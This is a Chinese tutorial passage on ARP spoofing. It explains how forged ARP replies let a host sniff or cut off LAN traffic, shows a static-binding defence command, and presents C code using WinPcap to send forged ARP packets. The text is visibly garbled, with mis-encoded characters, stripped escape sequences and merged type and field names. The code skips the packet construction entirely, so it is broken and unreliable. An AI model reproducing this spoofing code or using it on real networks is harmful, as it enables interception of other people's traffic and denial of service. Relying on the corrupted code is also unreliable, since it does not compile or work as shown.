欺騙的原理可簡單的解釋如下:假設有三臺主機A,B,C位于同一個交換式中,監(jiān)聽者處于主機A,而主機B,C正在通信?,F(xiàn)在A希望能嗅探到B->C的數(shù)據(jù),于是A就可以偽裝成C對B做ARP欺騙--向B發(fā)送偽造的ARP應答包,應答包中IP地址為C的IP地址而地址為A的MAC地址。 這個應答包會刷新B的ARP緩存,讓B認為A就是C,說詳細點,就是讓B認為C的IP地址映射到的MAC地址為主機A的MAC地址。這樣,B想要發(fā)送給C的數(shù)據(jù)實際上卻發(fā)送給了A,就達到了嗅探的目的。我們在嗅探到數(shù)據(jù)后,還必須將此數(shù)據(jù)轉發(fā)給C,這樣就可以保證B,C的通信不被中斷。以上就是基于ARP欺騙的嗅探基本原理,在這種嗅探方法中,嗅探者A實際上是插入到了B->C中,B的數(shù)據(jù)先發(fā)送給了A,然后再由A轉發(fā)給C,其數(shù)據(jù)傳輸關系如下所示:
B----->A----->C
B<----A<------C
Windows系統(tǒng)中緩存了目前的MAC地址與IP地址之間的映射,通過arp -a命令可以獲得,如下圖:

筆者的電腦IP地址為192.168.1.2,通過192.168.1.1到達公網(wǎng)。當某人用"網(wǎng)絡剪刀手"或"網(wǎng)絡執(zhí)法官"一類的軟件給筆者發(fā)送偽造的ARP報文后,筆者的Windows會緩存一個錯誤的網(wǎng)關MAC地址。由于IP包最終要通過MAC地址尋址到192.168.1.1網(wǎng)關進行轉發(fā),而本機對192.168.1.1 MAC地址的記錄已經(jīng)是錯的了,這樣,IP包將無法到達網(wǎng)關,筆者將不能再連接Internet,這就是惱人的"網(wǎng)絡剪刀手"的工作原理。如果受到了惡意的ARP欺騙,我們只需要將網(wǎng)關的IP地址與MAC地址在本機靜態(tài)綁定,運行如下命令:
ARP -s 192.168.1.1 00-33-44-57-17-a3
再看看此時的ARP緩存:

192.168.1.1一項由dynamic變成了static。
實現(xiàn)ARP欺騙最重要的是要組建一個ARP報文并發(fā)送給要欺騙的目標主機,下面的源代碼演示了這個過程:
#define EPT_IP 0x0800/* type: IP*/
#define EPT_ARP 0x0806/* type: ARP */
#define EPT_RARP 0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001/* ARP request */
#define ARP_REPLY 0x0002/* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned chareh_dst[6]; /* destination ethernet addrress */
unsigned chareh_src[6]; /* source ethernet addresss */
unsigned shorteh_type; /* ethernet pachet type*/
} EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned shortarp_hrd; /* format of hardware address */
unsigned shortarp_pro; /* format of protocol address */
unsigned chararp_hln; /* length of hardware address */
unsigned chararp_pln; /* length of protocol address */
unsigned shortarp_op; /* ARP/RARP operation */
unsigned chararp_sha[6]; /* sender hardware address */
unsigned longarp_spa; /* sender protocol address */
unsigned chararp_tha[6]; /* target hardware address */
unsigned longarp_tpa; /* target protocol address */
} ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char *argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR *temp, *temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;
//Get The list of Adapter
if (PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!n");
return 0;
}
temp = AdapterName;
temp1 = AdapterName;
i = 0;
while ((*temp != '') || (*(temp - 1) != ''))
{
if (*temp == '')
{
memcpy(AdapterList[i], temp1, (temp - temp1) *2);
temp1 = temp + 1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L "n%d- %sn", i + 1, AdapterList[i]);
printf("n");
//Default open the 0
lpAdapter = (LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]);
//取第一個網(wǎng)卡
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
printf("warning: Unable to send more than one packet ina single write !
n ");
}
if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE)
{
printf("Error sending the packets!n"); return 0;
}
printf("Send ok!n");
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
上述程序中使用了著名的開放項目Winpcap(The Packet Capture and Network Monitoring Library for Windows)中的API,項目網(wǎng)址為:http://www.winpcap.org/。Winpcap是UNIX下的libpcap移植到Windows下的產(chǎn)物,工作于驅動(Driver)層,能以很高的效率進行網(wǎng)絡操作。其提供的packet.dll中包含了多個功能強大的函數(shù),我們聊舉幾例:
LPPACKET PacketAllocatePacket(void);
如果運行成功,返回一個_PACKET結構的指針,否則返回NULL。成功返回的結果將會傳送到PacketReceivePacket()函數(shù),接收來自驅動的網(wǎng)絡數(shù)據(jù)報。
LPADAPTER PacketOpetAdapter(LPTSTR AdapterName);
打開一個網(wǎng)絡適配器。
VOID PacketCloseAdapter(LPADAPTER lpAdapter);
關閉參數(shù)中提供的網(wǎng)絡適配器,釋放相關的ADAPTER結構。
VOID PacketFreePacket(LPPACKET lpPacket);
釋放參數(shù)提供的_PACKET結構。
BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize);
返回可以得到的網(wǎng)絡適配器列表及描述。
BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync);
從NPF驅動程序讀取網(wǎng)絡數(shù)據(jù)報及統(tǒng)計信息。
數(shù)據(jù)報編碼結構: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|
BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync);
發(fā)送一個或多個數(shù)據(jù)報的副本。
我們用Depends工具打開pakcet.dll,如下圖:

目前,網(wǎng)絡剪刀手、網(wǎng)絡執(zhí)法官的軟件在底層都用到了Winpcap。本節(jié)的例程代碼中,看不到關于socket的內(nèi)容,實際上已經(jīng)在Winpcap中實現(xiàn)了。Winpcap的源代碼可以直接在http://www.winpcap.org/下載。